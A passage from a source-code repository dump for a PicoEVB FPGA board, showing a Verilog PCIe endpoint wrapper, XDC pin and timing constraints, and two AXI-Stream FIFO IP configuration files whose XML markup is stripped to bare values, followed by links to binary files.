fc_nph, 91 | output [11:0] fc_pd, 92 | output [7:0] fc_ph, 93 | input [2:0] fc_sel, 94 | 95 | // 96 | // Configuration interface 97 | // 98 | output tx_err_drop, 99 | output tx_cfg_req, 100 | output [5:0] tx_buf_av, 101 | output [15:0] cfg_status, 102 | output [15:0] cfg_command, 103 | output [15:0] cfg_dstatus, 104 | output [15:0] cfg_dcommand, 105 | output [15:0] cfg_lstatus, 106 | output [15:0] cfg_lcommand, 107 | output [15:0] cfg_dcommand2, 108 | output [2:0] cfg_pcie_link_state, 109 | output cfg_to_turnoff, 110 | output [7:0] cfg_bus_number, 111 | output [4:0] cfg_device_number, 112 | output [2:0] cfg_function_number, 113 | output cfg_pmcsr_pme_en, 114 | output [1:0] cfg_pmcsr_powerstate, 115 | output cfg_pmcsr_pme_status, 116 | output cfg_received_func_lvl_rst, 117 | 118 | // 119 | // RP only 120 | // 121 | output cfg_bridge_serr_en, 122 | output cfg_slot_control_electromech_il_ctl_pulse, 123 | output cfg_root_control_syserr_corr_err_en, 124 | output cfg_root_control_syserr_non_fatal_err_en, 125 | output cfg_root_control_syserr_fatal_err_en, 126 | output cfg_root_control_pme_int_en, 127 | output cfg_aer_rooterr_corr_err_reporting_en, 128 | output cfg_aer_rooterr_non_fatal_err_reporting_en, 129 | output cfg_aer_rooterr_fatal_err_reporting_en, 130 | output cfg_aer_rooterr_corr_err_received, 131 | output cfg_aer_rooterr_non_fatal_err_received, 132 | output cfg_aer_rooterr_fatal_err_received, 133 | 134 | // 135 | // VC interface 136 | // 137 | output [6:0] cfg_vc_tcvc_map, 138 | 139 | // 140 | // Management interface 141 | // 142 | output [31:0] cfg_mgmt_do, 143 | output cfg_mgmt_rd_wr_done, 144 | input [31:0] cfg_mgmt_di, 145 | input [3:0] cfg_mgmt_byte_en, 146 | input [9:0] cfg_mgmt_dwaddr, 147 | input cfg_mgmt_wr_en, 148 | input cfg_mgmt_rd_en, 149 | input cfg_mgmt_wr_readonly, 150 | input cfg_mgmt_wr_rw1c_as_rw, 151 | 152 | // 153 | // Error reporting interface 154 | // 155 | input cfg_err_ecrc, 156 | input cfg_err_ur, 157 | input cfg_err_cpl_timeout, 158 | input cfg_err_cpl_unexpect, 159 | input cfg_err_cpl_abort, 160 | input cfg_err_posted, 161 | input cfg_err_cor, 162 | input cfg_err_atomic_egress_blocked, 163 | input cfg_err_internal_cor, 164 | input cfg_err_malformed, 165 | input cfg_err_mc_blocked, 166 | input cfg_err_poisoned, 167 | input cfg_err_norecovery, 168 | input [47:0] cfg_err_tlp_cpl_header, 169 | output cfg_err_cpl_rdy, 170 | input cfg_err_locked, 171 | input cfg_err_acs, 172 | input cfg_err_internal_uncor, 173 | 174 | // 175 | // AER interface 176 | // 177 | input [127:0] cfg_err_aer_headerlog, 178 | input [4:0] cfg_aer_interrupt_msgnum, 179 | output cfg_err_aer_headerlog_set, 180 | output cfg_aer_ecrc_check_en, 181 | output cfg_aer_ecrc_gen_en, 182 | output cfg_msg_received, 183 | output [15:0] cfg_msg_data, 184 | output cfg_msg_received_pm_as_nak, 185 | output cfg_msg_received_setslotpowerlimit, 186 | output cfg_msg_received_err_cor, 187 | output cfg_msg_received_err_non_fatal, 188 | output cfg_msg_received_err_fatal, 189 | output cfg_msg_received_pm_pme, 190 | output cfg_msg_received_pme_to_ack, 191 | output cfg_msg_received_assert_int_a, 192 | output cfg_msg_received_assert_int_b, 193 | output cfg_msg_received_assert_int_c, 194 | output cfg_msg_received_assert_int_d, 195 | output cfg_msg_received_deassert_int_a, 196 | output cfg_msg_received_deassert_int_b, 197 | output cfg_msg_received_deassert_int_c, 198 | output cfg_msg_received_deassert_int_d, 199 | 200 | // 201 | // Interrupt interface signals 202 | // 203 | input cfg_interrupt, 204 | output cfg_interrupt_rdy, 205 | input cfg_interrupt_assert, 206 | input [7:0] cfg_interrupt_di, 207 | output [7:0] cfg_interrupt_do, 208 | output [2:0] cfg_interrupt_mmenable, 209 | output cfg_interrupt_msienable, 210 | output cfg_interrupt_msixenable, 211 | output cfg_interrupt_msixfm, 212 | input cfg_interrupt_stat, 213 | input [4:0] cfg_pciecap_interrupt_msgnum, 214 | 215 | // 216 | // Physical layer control and status interface 217 | // 218 | input [1:0] pl_directed_link_change, 219 | input [1:0] pl_directed_link_width, 220 | input pl_directed_link_speed, 221 | input pl_directed_link_auton, 222 | input pl_upstream_prefer_deemph, 223 | output pl_sel_lnk_rate, 224 | output [1:0] pl_sel_lnk_width, 225 | output [5:0] pl_ltssm_state, 226 | output [1:0] pl_lane_reversal_mode, 227 | output pl_phy_lnk_up, 228 | output [2:0] pl_tx_pm_state, 229 | output [1:0] pl_rx_pm_state, 230 | output pl_link_upcfg_cap, 231 | output pl_link_gen2_cap, 232 | output pl_link_partner_gen2_supported, 233 | output [2:0] pl_initial_link_width, 234 | output pl_directed_change_done, 235 | output pl_received_hot_rst, 236 | input pl_transmit_hot_rst, 237 | input pl_downstream_deemph_source, 238 | 239 | // 240 | // PCI Express DRP interface 241 | // 242 | input pcie_drp_clk, 243 | input pcie_drp_en, 244 | input pcie_drp_we, 245 | input [8:0] pcie_drp_addr, 246 | input [15:0] pcie_drp_di, 247 | output pcie_drp_rdy, 248 | output [15:0] pcie_drp_do, 249 | 250 | // 251 | // System interface 252 | // 253 | input sys_clk, 254 | input sys_rst_n 255 | ); 256 | // 257 | // Wires used for external clocking connectivity 258 | // 259 | wire pipe_pclk_out; 260 | wire pipe_txoutclk_in; 261 | wire [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pipe_rxoutclk_in; 262 | wire [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pipe_pclk_sel_in; 263 | wire pipe_gen3_in; 264 | 265 | // 266 | // Wires used for external GT COMMON connectivity 267 | // 268 | wire [11:0] qpll_drp_crscode; 269 | wire [17:0] qpll_drp_fsm; 270 | wire [1:0] qpll_drp_done; 271 | wire [1:0] qpll_drp_reset; 272 | wire qpll_qplld; 273 | wire [1:0] qpll_qpllreset; 274 | wire qpll_drp_clk; 275 | wire qpll_drp_rst_n; 276 | wire qpll_drp_ovrd; 277 | wire qpll_drp_gen3; 278 | wire qpll_drp_start; 279 | 280 | // 281 | // PIPE clock shared mode 282 | // 283 | pcie_7x_0_pipe_clock # 284 | ( 285 | .PCIE_ASYNC_EN( "FALSE" ), // PCIe async enable 286 | .PCIE_TXBUF_EN( "FALSE" ), // PCIe TX buffer enable for Gen1/Gen2 only 287 | .PCIE_LANE( LINK_CAP_MAX_LINK_WIDTH ), // PCIe number of lanes 288 | .PCIE_LINK_SPEED( 2 ), // PCIe version 289 | .PCIE_REFCLK_FREQ( PCIE_REFCLK_FREQ ), // PCIe reference clock frequency 290 | .PCIE_USERCLK1_FREQ( PCIE_USERCLK1_FREQ ), // PCIe user clock 1 frequency 291 | .PCIE_USERCLK2_FREQ( PCIE_USERCLK2_FREQ ), // PCIe user clock 2 frequency 292 | .PCIE_DEBUG_MODE( 0 ) 293 | ) 294 | pipe_clock_i 295 | ( 296 | // Input 297 | .CLK_CLK( sys_clk ), 298 | .CLK_TXOUTCLK( pipe_txoutclk_in ), 299 | .CLK_RXOUTCLK_IN( pipe_rxoutclk_in ), 300 | .CLK_RST_N( pipe_mmcm_rst_n ), 301 | .CLK_PCLK_SEL( pipe_pclk_sel_in ), 302 | .CLK_PCLK_SEL_SLAVE( pipe_pclk_sel_slave), 303 | .CLK_GEN3( pipe_gen3_in ), 304 | 305 | // Output 306 | .CLK_PCLK( pipe_pclk_out ), 307 | .CLK_PCLK_SLAVE( pipe_pclk_out_slave ), 308 | .CLK_RXUSRCLK( pipe_rxusrclk_out ), 309 | .CLK_RXOUTCLK_OUT( pipe_rxoutclk_out ), 310 | .CLK_DCLK( pipe_dclk_out ), 311 | .CLK_OOBCLK( pipe_oobclk_out ), 312 | .CLK_USERCLK1( pipe_userclk1_out ), 313 | .CLK_USERCLK2( pipe_userclk2_out ), 314 | .CLK_MMCM_LOCK( pipe_mmcm_lock_out ) 315 | ); 316 | 317 | // 318 | // GT common internal mode 319 | // 320 | wire [1:0] qpll_qplllock; 321 | wire [1:0] qpll_qplloutclk; 322 | wire [1:0] qpll_qplloutrefclk; 323 | 324 | assign qpll_drp_done = 2'd0; 325 | assign qpll_drp_reset = 2'd0; 326 | assign qpll_drp_crscode = 12'd0; 327 | assign qpll_drp_fsm = 18'd0; 328 | assign qpll_qplloutclk = 2'd0; 329 | assign qpll_qplloutrefclk = 2'd0; 330 | assign qpll_qplllock = 2'd0; 331 | 332 | // 333 | // PCI Express integrated endpoint block 334 | // 335 | pcie_7x_0 pcie_7x_0_i 336 | ( 337 | .pci_exp_txn( pci_exp_txn ), 338 | .pci_exp_txp( pci_exp_txp ), 339 | .pci_exp_rxn( pci_exp_rxn ), 340 | .pci_exp_rxp( pci_exp_rxp ), 341 | .pipe_pclk_in( pipe_pclk_out ), 342 | .pipe_rxusrclk_in( pipe_rxusrclk_out ), 343 | .pipe_rxoutclk_in( pipe_rxoutclk_out ), 344 | .pipe_mmcm_rst_n( pipe_mmcm_rst_n ), 345 | .pipe_dclk_in( pipe_dclk_out ), 346 | .pipe_userclk1_in( pipe_userclk1_out ), 347 | .pipe_userclk2_in( pipe_userclk2_out ), 348 | .pipe_oobclk_in( pipe_oobclk_out ), 349 | .pipe_mmcm_lock_in( pipe_mmcm_lock_out ), 350 | .pipe_txoutclk_out( pipe_txoutclk_in ), 351 | .pipe_rxoutclk_out( pipe_rxoutclk_in ), 352 | .pipe_pclk_sel_out( pipe_pclk_sel_in ), 353 | .pipe_gen3_out( pipe_gen3_in ), 354 | .user_clk_out( user_clk_out ), 355 | .user_reset_out( user_reset_out ), 356 | .user_lnk_up( user_lnk_up ), 357 | .user_app_rdy( user_app_rdy ), 358 | .s_axis_tx_tdata( s_axis_tx_tdata ), 359 | .s_axis_tx_tvalid( s_axis_tx_tvalid ), 360 | .s_axis_tx_tready( s_axis_tx_tready ), 361 | .s_axis_tx_tkeep( s_axis_tx_tkeep ), 362 | .s_axis_tx_tlast( s_axis_tx_tlast ), 363 | .s_axis_tx_tuser( s_axis_tx_tuser ), 364 | .m_axis_rx_tdata( m_axis_rx_tdata ), 365 | .m_axis_rx_tvalid( m_axis_rx_tvalid ), 366 | .m_axis_rx_tready( m_axis_rx_tready ), 367 | .m_axis_rx_tkeep( m_axis_rx_tkeep ), 368 | .m_axis_rx_tlast( m_axis_rx_tlast ), 369 | .m_axis_rx_tuser( m_axis_rx_tuser ), 370 | .tx_cfg_gnt( tx_cfg_gnt ), 371 | .rx_np_ok( rx_np_ok ), 372 | .rx_np_req( rx_np_req ), 373 | .cfg_trn_pending( cfg_trn_pending ), 374 | .cfg_pm_halt_aspm_l0s( cfg_pm_halt_aspm_l0s ), 375 | .cfg_pm_halt_aspm_l1( cfg_pm_halt_aspm_l1 ), 376 | .cfg_pm_force_state_en( cfg_pm_force_state_en ), 377 | .cfg_pm_force_state( cfg_pm_force_state ), 378 | .cfg_dsn( cfg_dsn ), 379 | .cfg_turnoff_ok( cfg_turnoff_ok ), 380 | .cfg_pm_wake( cfg_pm_wake ), 381 | .cfg_pm_send_pme_to( cfg_pm_send_pme_to ), 382 | .cfg_ds_bus_number( cfg_ds_bus_number ), 383 | .cfg_ds_device_number( cfg_ds_device_number ), 384 | .cfg_ds_function_number( cfg_ds_function_number ), 385 | .fc_cpld( fc_cpld ), 386 | .fc_cplh( fc_cplh ), 387 | .fc_npd( fc_npd ), 388 | .fc_nph( fc_nph ), 389 | .fc_pd( fc_pd ), 390 | .fc_ph( fc_ph ), 391 | .fc_sel( fc_sel ), 392 | .cfg_mgmt_do( cfg_mgmt_do ), 393 | .cfg_mgmt_rd_wr_done( cfg_mgmt_rd_wr_done ), 394 | .cfg_mgmt_di( cfg_mgmt_di ), 395 | .cfg_mgmt_byte_en( cfg_mgmt_byte_en ), 396 | .cfg_mgmt_dwaddr( cfg_mgmt_dwaddr ), 397 | .cfg_mgmt_wr_en( cfg_mgmt_wr_en ), 398 | .cfg_mgmt_rd_en( cfg_mgmt_rd_en ), 399 | .cfg_mgmt_wr_readonly( cfg_mgmt_wr_readonly ), 400 | .cfg_mgmt_wr_rw1c_as_rw( cfg_mgmt_wr_rw1c_as_rw ), 401 | .tx_buf_av( tx_buf_av ), 402 | .tx_err_drop( tx_err_drop ), 403 | .tx_cfg_req( tx_cfg_req ), 404 | .cfg_status( cfg_status ), 405 | .cfg_command( cfg_command ), 406 | .cfg_dstatus( cfg_dstatus ), 407 | .cfg_dcommand( cfg_dcommand ), 408 | .cfg_lstatus( cfg_lstatus ), 409 | .cfg_lcommand( cfg_lcommand ), 410 | .cfg_dcommand2( cfg_dcommand2 ), 411 | .cfg_pcie_link_state( cfg_pcie_link_state ), 412 | .cfg_pmcsr_pme_en( cfg_pmcsr_pme_en ), 413 | .cfg_pmcsr_powerstate( cfg_pmcsr_powerstate ), 414 | .cfg_pmcsr_pme_status( cfg_pmcsr_pme_status ), 415 | .cfg_vc_tcvc_map( cfg_vc_tcvc_map ), 416 | .cfg_to_turnoff( cfg_to_turnoff ), 417 | .cfg_bus_number( cfg_bus_number ), 418 | .cfg_device_number( cfg_device_number ), 419 | .cfg_function_number( cfg_function_number ), 420 | .cfg_bridge_serr_en( cfg_bridge_serr_en ), 421 | .cfg_slot_control_electromech_il_ctl_pulse( cfg_slot_control_electromech_il_ctl_pulse ), 422 | .cfg_root_control_syserr_corr_err_en( cfg_root_control_syserr_corr_err_en ), 423 | .cfg_root_control_syserr_non_fatal_err_en( cfg_root_control_syserr_non_fatal_err_en ), 424 | .cfg_root_control_syserr_fatal_err_en( cfg_root_control_syserr_fatal_err_en ), 425 | .cfg_root_control_pme_int_en( cfg_root_control_pme_int_en ), 426 | .cfg_aer_rooterr_corr_err_reporting_en( cfg_aer_rooterr_corr_err_reporting_en ), 427 | .cfg_aer_rooterr_non_fatal_err_reporting_en( cfg_aer_rooterr_non_fatal_err_reporting_en ), 428 | .cfg_aer_rooterr_fatal_err_reporting_en( cfg_aer_rooterr_fatal_err_reporting_en ), 429 | .cfg_aer_rooterr_corr_err_received( cfg_aer_rooterr_corr_err_received ), 430 | .cfg_aer_rooterr_non_fatal_err_received( cfg_aer_rooterr_non_fatal_err_received ), 431 | .cfg_aer_rooterr_fatal_err_received( cfg_aer_rooterr_fatal_err_received ), 432 | .cfg_received_func_lvl_rst( cfg_received_func_lvl_rst ), 433 | .cfg_err_ecrc( cfg_err_ecrc ), 434 | .cfg_err_ur( cfg_err_ur ), 435 | .cfg_err_cpl_timeout( cfg_err_cpl_timeout ), 436 | .cfg_err_cpl_unexpect( cfg_err_cpl_unexpect ), 437 | .cfg_err_cpl_abort( cfg_err_cpl_abort ), 438 | .cfg_err_posted( cfg_err_posted ), 439 | .cfg_err_cor( cfg_err_cor ), 440 | .cfg_err_atomic_egress_blocked( cfg_err_atomic_egress_blocked ), 441 | .cfg_err_internal_cor( cfg_err_internal_cor ), 442 | .cfg_err_malformed( cfg_err_malformed ), 443 | .cfg_err_mc_blocked( cfg_err_mc_blocked ), 444 | .cfg_err_poisoned( cfg_err_poisoned ), 445 | .cfg_err_norecovery( cfg_err_norecovery ), 446 | .cfg_err_tlp_cpl_header( cfg_err_tlp_cpl_header ), 447 | .cfg_err_cpl_rdy( cfg_err_cpl_rdy ), 448 | .cfg_err_locked( cfg_err_locked ), 449 | .cfg_err_acs( cfg_err_acs ), 450 | .cfg_err_internal_uncor( cfg_err_internal_uncor ), 451 | .cfg_aer_ecrc_check_en( cfg_aer_ecrc_check_en ), 452 | .cfg_aer_ecrc_gen_en( cfg_aer_ecrc_gen_en ), 453 | .cfg_err_aer_headerlog( cfg_err_aer_headerlog ), 454 | .cfg_err_aer_headerlog_set( cfg_err_aer_headerlog_set ), 455 | .cfg_aer_interrupt_msgnum( cfg_aer_interrupt_msgnum ), 456 | .cfg_interrupt( cfg_interrupt ), 457 | .cfg_interrupt_rdy( cfg_interrupt_rdy ), 458 | .cfg_interrupt_assert( cfg_interrupt_assert ), 459 | .cfg_interrupt_di( cfg_interrupt_di ), 460 | .cfg_interrupt_do( cfg_interrupt_do ), 461 | .cfg_interrupt_mmenable( cfg_interrupt_mmenable ), 462 | .cfg_interrupt_msienable( cfg_interrupt_msienable ), 463 | .cfg_interrupt_msixenable( cfg_interrupt_msixenable ), 464 | .cfg_interrupt_msixfm( cfg_interrupt_msixfm ), 465 | .cfg_interrupt_stat( cfg_interrupt_stat ), 466 | .cfg_pciecap_interrupt_msgnum( cfg_pciecap_interrupt_msgnum ), 467 | .cfg_msg_received( cfg_msg_received ), 468 | .cfg_msg_data( cfg_msg_data ), 469 | .cfg_msg_received_pm_as_nak( cfg_msg_received_pm_as_nak ), 470 | .cfg_msg_received_setslotpowerlimit( cfg_msg_received_setslotpowerlimit ), 471 | .cfg_msg_received_err_cor( cfg_msg_received_err_cor ), 472 | .cfg_msg_received_err_non_fatal( cfg_msg_received_err_non_fatal ), 473 | .cfg_msg_received_err_fatal( cfg_msg_received_err_fatal ), 474 | .cfg_msg_received_pm_pme( cfg_msg_received_pm_pme ), 475 | .cfg_msg_received_pme_to_ack( cfg_msg_received_pme_to_ack ), 476 | .cfg_msg_received_assert_int_a( cfg_msg_received_assert_int_a ), 477 | .cfg_msg_received_assert_int_b( cfg_msg_received_assert_int_b ), 478 | .cfg_msg_received_assert_int_c( cfg_msg_received_assert_int_c ), 479 | .cfg_msg_received_assert_int_d( cfg_msg_received_assert_int_d ), 480 | .cfg_msg_received_deassert_int_a( cfg_msg_received_deassert_int_a ), 481 | .cfg_msg_received_deassert_int_b( cfg_msg_received_deassert_int_b ), 482 | .cfg_msg_received_deassert_int_c( cfg_msg_received_deassert_int_c ), 483 | .cfg_msg_received_deassert_int_d( cfg_msg_received_deassert_int_d ), 484 | .pl_directed_link_change( pl_directed_link_change ), 485 | .pl_directed_link_width( pl_directed_link_width ), 486 | .pl_directed_link_speed( pl_directed_link_speed ), 487 | .pl_directed_link_auton( pl_directed_link_auton ), 488 | .pl_upstream_prefer_deemph( pl_upstream_prefer_deemph ), 489 | .pl_sel_lnk_rate( pl_sel_lnk_rate ), 490 | .pl_sel_lnk_width( pl_sel_lnk_width ), 491 | .pl_ltssm_state( pl_ltssm_state ), 492 | .pl_lane_reversal_mode( pl_lane_reversal_mode ), 493 | .pl_phy_lnk_up( pl_phy_lnk_up ), 494 | .pl_tx_pm_state( pl_tx_pm_state ), 495 | .pl_rx_pm_state( pl_rx_pm_state ), 496 | .pl_link_upcfg_cap( pl_link_upcfg_cap ), 497 | .pl_link_gen2_cap( pl_link_gen2_cap ), 498 | .pl_link_partner_gen2_supported( pl_link_partner_gen2_supported ), 499 | .pl_initial_link_width( pl_initial_link_width ), 500 | .pl_directed_change_done( pl_directed_change_done ), 501 | .pl_received_hot_rst( pl_received_hot_rst ), 502 | .pl_transmit_hot_rst( pl_transmit_hot_rst ), 503 | .pl_downstream_deemph_source( pl_downstream_deemph_source ), 504 | .pcie_drp_clk( pcie_drp_clk ), 505 | .pcie_drp_en( pcie_drp_en ), 506 | .pcie_drp_we( pcie_drp_we ), 507 | .pcie_drp_addr( pcie_drp_addr ), 508 | .pcie_drp_di( pcie_drp_di ), 509 | .pcie_drp_rdy( pcie_drp_rdy ), 510 | .pcie_drp_do( pcie_drp_do ), 511 | .sys_clk( sys_clk ), 512 | .sys_rst_n( sys_rst_n ) 513 | ); 514 | 515 | endmodule 516 | -------------------------------------------------------------------------------- /hdl/pico_evb.xdc: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Pinout and Related I/O Constraints 3 | ############################################################################### 4 | 5 | # SYS reset (input) signal. The sys_reset_n signal is generated 6 | # by the PCI Express interface (PERST#). 7 | set_property PACKAGE_PIN A10 [get_ports sys_rst_n] 8 | set_property IOSTANDARD LVCMOS33 [get_ports sys_rst_n] 9 | set_property PULLDOWN true [get_ports sys_rst_n] 10 | 11 | # SYS clock 100 MHz (input) signal. The sys_clk_p and sys_clk_n 12 | # signals are the PCI Express reference clock. 13 | set_property PACKAGE_PIN B6 [get_ports sys_clk_p] 14 | 15 | # PCIe x1 link 16 | set_property PACKAGE_PIN G4 [get_ports pcie_rxp] 17 | set_property PACKAGE_PIN G3 [get_ports pcie_rxn] 18 | set_property PACKAGE_PIN B2 [get_ports pcie_txp] 19 | set_property PACKAGE_PIN B1 [get_ports pcie_txn] 20 | 21 | ############################################################################### 22 | # Timing Constraints 23 | ############################################################################### 24 | 25 | create_clock -period 10.000 -name sys_clk [get_ports sys_clk_p] 26 | 27 | ############################################################################### 28 | # Physical Constraints 29 | ############################################################################### 30 | 31 | # Input reset is resynchronized within FPGA design as necessary 32 | set_false_path -from [get_ports sys_rst_n] 33 | 34 | ############################################################################### 35 | # SPI 36 | ############################################################################### 37 | 38 | set_property PACKAGE_PIN K16 [get_ports {spi_io0_io}] 39 | set_property PACKAGE_PIN L17 [get_ports {spi_io1_io}] 40 | set_property PACKAGE_PIN J15 [get_ports {spi_io2_io}] 41 | set_property PACKAGE_PIN J16 [get_ports {spi_io3_io}] 42 | set_property PACKAGE_PIN L15 [get_ports {spi_ss_io}] 43 | set_property IOSTANDARD LVCMOS33 [get_ports {spi_io0_io}] 44 | set_property IOSTANDARD LVCMOS33 [get_ports {spi_io1_io}] 45 | set_property IOSTANDARD LVCMOS33 [get_ports {spi_io2_io}] 46 | set_property IOSTANDARD LVCMOS33 [get_ports {spi_io3_io}] 47 | set_property IOSTANDARD LVCMOS33 [get_ports {spi_ss_io}] 48 | 49 | ############################################################################### 50 | # NanoEVB, PicoEVB common I/O 51 | ############################################################################### 52 | 53 | set_property PACKAGE_PIN V14 [get_ports {user_led[2]}] 54 | set_property PACKAGE_PIN V13 [get_ports {user_led[1]}] 55 | set_property PACKAGE_PIN V12 [get_ports {user_led[0]}] 56 | set_property IOSTANDARD LVCMOS33 [get_ports {user_led[2]}] 57 | set_property IOSTANDARD LVCMOS33 [get_ports {user_led[1]}] 58 | set_property IOSTANDARD LVCMOS33 [get_ports {user_led[0]}] 59 | set_property PULLUP true [get_ports {user_led[2]}] 60 | set_property PULLUP true [get_ports {user_led[1]}] 61 | set_property PULLUP true [get_ports {user_led[0]}] 62 | set_property DRIVE 8 [get_ports {user_led[2]}] 63 | set_property DRIVE 8 [get_ports {user_led[1]}] 64 | set_property DRIVE 8 [get_ports {user_led[0]}] 65 | 66 | # clkreq_l is active low clock request for M.2 card to 67 | # request PCI Express reference clock 68 | set_property PACKAGE_PIN A9 [get_ports {clkreq_l}] 69 | set_property IOSTANDARD LVCMOS33 [get_ports {clkreq_l}] 70 | set_property PULLDOWN true [get_ports {clkreq_l}] 71 | 72 | # Auxillary I/O Connector 73 | set_property PACKAGE_PIN A14 [get_ports {uart_rxd}] 74 | set_property PACKAGE_PIN A13 [get_ports {uart_txd}] 75 | set_property IOSTANDARD LVCMOS33 [get_ports {uart_rxd}] 76 | set_property IOSTANDARD LVCMOS33 [get_ports {uart_txd}] 77 | set_property PACKAGE_PIN B12 [get_ports {user_io[0]}] 78 | set_property PACKAGE_PIN A12 [get_ports {user_io[1]}] 79 | set_property IOSTANDARD LVCMOS33 [get_ports {user_io[0]}] 80 | set_property IOSTANDARD LVCMOS33 [get_ports {user_io[1]}] 81 | set_property PULLDOWN true [get_ports {user_io[0]}] 82 | set_property PULLDOWN true [get_ports {user_io[1]}] 83 | 84 | ############################################################################### 85 | # Additional design / project settings 86 | ############################################################################### 87 | 88 | # Power down on overtemp 89 | set_property BITSTREAM.CONFIG.OVERTEMPPOWERDOWN ENABLE [current_design] 90 | 91 | # High-speed configuration so FPGA is up in time to negotiate with PCIe root complex 92 | set_property BITSTREAM.CONFIG.CONFIGRATE 66 [current_design] 93 | set_property BITSTREAM.CONFIG.SPI_BUSWIDTH 4 [current_design] 94 | set_property CONFIG_MODE SPIx4 [current_design] 95 | set_property BITSTREAM.CONFIG.SPI_FALL_EDGE YES [current_design] 96 | set_property BITSTREAM.GENERAL.COMPRESS TRUE [current_design] 97 | 98 | set_property CONFIG_VOLTAGE 3.3 [current_design] 99 | set_property CFGBVS VCCO [current_design] 100 | -------------------------------------------------------------------------------- /ip/axis_data_fifo_0.xci: -------------------------------------------------------------------------------- 1 | 2 | 3 | xilinx.com 4 | xci 5 | unknown 6 | 1.0 7 | 8 | 9 | axis_data_fifo_0 10 | 11 | 12 | 13 | 100000000 14 | 1 15 | 1 16 | 1 17 | 0 18 | 0 19 | undef 20 | 0.000 21 | 8 22 | 0 23 | 0 24 | 0 25 | ACTIVE_LOW 26 | 27 | 28 | 100000000 29 | 0 30 | 0.000 31 | 32 | 100000000 33 | 1 34 | 1 35 | 1 36 | 0 37 | 0 38 | undef 39 | 0.000 40 | 8 41 | 0 42 | 0 43 | 0 44 | ACTIVE_LOW 45 | 46 | 47 | 100000000 48 | 0 49 | 0.000 50 | 0 51 | ACTIVE_LOW 52 | 0 53 | 0b00000000000000000000000000011011 54 | 64 55 | 1 56 | 1 57 | 1 58 | 0 59 | artix7 60 | 32 61 | distributed 62 | 2 63 | 1 64 | 5 65 | 11 66 | 3 67 | 825765944 68 | 0 69 | axis_data_fifo_0 70 | 0 71 | 32 72 | distributed 73 | 2 74 | 0 75 | 0 76 | 0 77 | 0 78 | 0 79 | 0 80 | 1 81 | 1 82 | 1 83 | 0 84 | 0 85 | 1 86 | 5 87 | 11 88 | 3 89 | 8 90 | 0 91 | 0 92 | 0 93 | artix7 94 | 95 | 96 | xc7a50t 97 | csg325 98 | VERILOG 99 | 100 | MIXED 101 | -2 102 | 103 | 104 | TRUE 105 | TRUE 106 | IP_Flow 107 | 2 108 | TRUE 109 | . 110 | 111 | . 112 | 2019.2 113 | OUT_OF_CONTEXT 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /ip/axis_data_fifo_1.xci: -------------------------------------------------------------------------------- 1 | 2 | 3 | xilinx.com 4 | xci 5 | unknown 6 | 1.0 7 | 8 | 9 | axis_data_fifo_1 10 | 11 | 12 | 13 | 100000000 14 | 0 15 | 1 16 | 1 17 | 0 18 | 0 19 | undef 20 | 0.000 21 | 4 22 | 0 23 | 0 24 | 0 25 | ACTIVE_LOW 26 | 27 | 28 | 100000000 29 | 0 30 | 0.000 31 | 32 | 100000000 33 | 0 34 | 1 35 | 1 36 | 0 37 | 0 38 | undef 39 | 0.000 40 | 4 41 | 0 42 | 0 43 | 0 44 | ACTIVE_LOW 45 | 46 | 47 | 100000000 48 | 0 49 | 0.000 50 | 0 51 | ACTIVE_LOW 52 | 0 53 | 0b00000000000000000000000000010011 54 | 32 55 | 1 56 | 1 57 | 1 58 | 0 59 | artix7 60 | 16 61 | auto 62 | 2 63 | 1 64 | 5 65 | 11 66 | 3 67 | 825765944 68 | 0 69 | axis_data_fifo_1 70 | 0 71 | 16 72 | auto 73 | 2 74 | 0 75 | 0 76 | 0 77 | 0 78 | 0 79 | 0 80 | 0 81 | 1 82 | 1 83 | 0 84 | 0 85 | 1 86 | 5 87 | 11 88 | 3 89 | 4 90 | 0 91 | 0 92 | 0 93 | artix7 94 | 95 | 96 | xc7a50t 97 | csg325 98 | VERILOG 99 | 100 | MIXED 101 | -2 102 | 103 | 104 | TRUE 105 | TRUE 106 | IP_Flow 107 | 2 108 | TRUE 109 | . 110 | 111 | . 112 | 2019.2 113 | OUT_OF_CONTEXT 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /microblaze_soc.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/microblaze_soc.pdf -------------------------------------------------------------------------------- /software/application/Debug/application.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/software/application/Debug/application.elf -------------------------------------------------------------------------------- /software/application/Release/application.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/software/application/Release/application.elf -------------------------------------------------------------------------------- /software/application/application.prj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |